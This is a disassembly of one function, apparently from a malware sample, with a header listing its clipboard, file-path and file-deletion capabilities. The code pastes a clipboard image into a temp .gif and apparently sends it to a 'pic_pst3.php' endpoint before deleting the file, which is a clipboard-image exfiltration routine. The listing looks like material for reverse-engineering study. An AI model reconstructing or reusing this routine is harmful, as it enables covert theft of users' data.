Function at 0x405311
Capabilities:
Delete file
Get common file path
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
mov dword [ebp - 0x2c], 0
mov edx, dword [str.__]
mov edx, dword [edx]
lea eax, [ebp - 0x110]
push eax
push dword [str.__]
call dword [edx + 0x64]
shr dword [ebp - 0x110], 1
mov edx, dword [ebp + 8]
mov edx, dword [edx]
lea eax, [ebp - 0x30]
push eax
push 0x118
push dword [ebp - 0x110]
push dword [ebp + 8]
call dword [edx + 0x1ac]
or eax, eax
jne 0x4054a6
cmp dword [ebp - 0x30], 0
je 0x4054a6
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea eax, [ebp - 0x10]
push eax
push 0x4091e0
push dword [ebp - 0x30]
call dword [edx]
cmp dword [ebp - 0x10], 0
je 0x4054a6
push str.Im_valid_
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
call sub.user32.dll_EmptyClipboard
mov edx, dword [ebp - 0x10]
mov edx, dword [edx]
lea eax, [ebp - 0x108]
push eax
push 0x4091c0
push dword [ebp - 0x10]
call dword [edx]
cmp dword [ebp - 0x108], 0
je 0x40549b
mov edx, dword [ebp - 0x108]
mov edx, dword [edx]
push 0
push 0
push 2
push 0xf
push 0x4091d0
push dword [ebp - 0x108]
call dword [edx + 0x10]
push 2
call sub.user32.dll_IsClipboardFormatAvailable
or eax, eax
je 0x405490
push 0
call sub.user32.dll_OpenClipboard
push 2
call sub.user32.dll_GetClipboardData
or eax, eax
je 0x40548b
mov dword [ebp - 0x10c], eax
push 0x40b5b9
push 0x802
call sub.KERNEL32.DLL_GetTempPathA
push str.ppiicc63jfnb.gif
push 0x40b5b9
call sub.KERNEL32.DLL_lstrcatA
push 0x40b5b9
call sub.KERNEL32.DLL_DeleteFileA
push 0x40b5b9
push dword [ebp - 0x10c]
call fcn.00405076
push 0
push 0x1e
push 0x432df2
call fcn.00407690
push str.pic_pst3.php
push 0x40b5b9
call fcn.004050f7
push 0x432df2
call sub.KERNEL32.DLL_lstrlenA
cmp eax, 3
jbe 0x405476
mov dword [ebp - 0x2c], 1
push dword [ebp - 0x10c]
call sub.gdi32.dll_DeleteObject
push 0x40b5b9
call sub.KERNEL32.DLL_DeleteFileA
call sub.user32.dll_CloseClipboard
mov edx, dword [ebp - 0x10]
mov edx, dword [edx]
push dword [ebp - 0x10]
call dword [edx + 8]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
push dword [ebp - 0x30]
call dword [edx + 8]
cmp dword [ebp - 0x2c], 0
je 0x40555e
mov dword [ebp - 0x2c], 0
mov edx, dword [ebp + 8]
mov edx, dword [edx]
lea eax, [ebp - 0x30]
push eax
push 0x15e
push dword [ebp - 0x110]
push dword [ebp + 8]
call dword [edx + 0x1ac]
or eax, eax
jne 0x40555e
cmp dword [ebp - 0x30], 0
je 0x40555e
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea eax, [ebp - 0x10]
push eax
push 0x4090b0
push dword [ebp - 0x30]
call dword [edx]
cmp dword [ebp - 0x10], 0
je 0x40555e
push 0x432df2
call fcn.00403875
or eax, eax
je 0x40555e
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
call sub.oleaut32.dll_SysAllocString
or eax, eax
je 0x405556
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x10]
mov edx, dword [edx]
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call dword [edx + 0x24]
mov dword [ebp - 0x2c], 1
push 0x424e58
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
push 0x432df2
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
push dword [ebp - 0x14]
call sub.oleaut32.dll_SysFreeString
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_GlobalFree
cmp dword [ebp - 0x2c], 0
je 0x4055b8
mov dword [ebp - 0x2c], 0
mov edx, dword [ebp + 8]
mov edx, dword [edx]
lea eax, [ebp - 0x30]
push eax
push 0x19a
push dword [ebp - 0x110]
push dword [ebp + 8]
call dword [edx + 0x1ac]
or eax, eax
jne 0x4055c7
cmp dword [ebp - 0x30], 0
je 0x4055c7
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
push dword [ebp - 0x30]
call dword [edx + 0x114]
mov dword [ebp - 0x2c], 1
push 0x424e60
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
jmp 0x4055c7
push str.NOINPUT_
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
mov eax, dword [ebp - 0x2c]
leave
ret 4